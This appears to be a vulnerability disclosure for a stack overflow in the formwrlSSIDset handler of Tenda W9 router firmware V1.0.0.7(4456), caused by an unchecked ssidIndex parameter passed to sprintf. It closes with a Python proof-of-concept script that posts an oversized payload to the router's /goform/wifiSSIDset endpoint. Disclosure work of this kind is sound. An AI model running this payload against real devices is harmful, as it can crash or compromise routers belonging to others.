- Firmware download website: https://www.tenda.com.cn/download/detail-2986.html
W9 V1.0.0.7(4456)
In the W9 V1.0.0.7(4456) firmware has a stack overflow vulnerability in the formwrlSSIDset
function. The index
variable receives the ssidIndex
parameter from a POST request. However, since the user can control the input of ssidIndex
, the statement sprintf(mib_prefix, "wl2g.ssid%s.", index);
can cause a buffer overflow. The user-provided ssidIndex
can exceed the capacity of the mib_prefix
array, triggering this security vulnerability.
import requests
from pwn import*
ip = "192.168.84.101"
url = "http://" + ip + "/goform/wifiSSIDset"
payload = b"a"*2000
data = {"radio": "2.4G", "ssidIndex": payload}
response = requests.post(url, data=data)
print(response.text)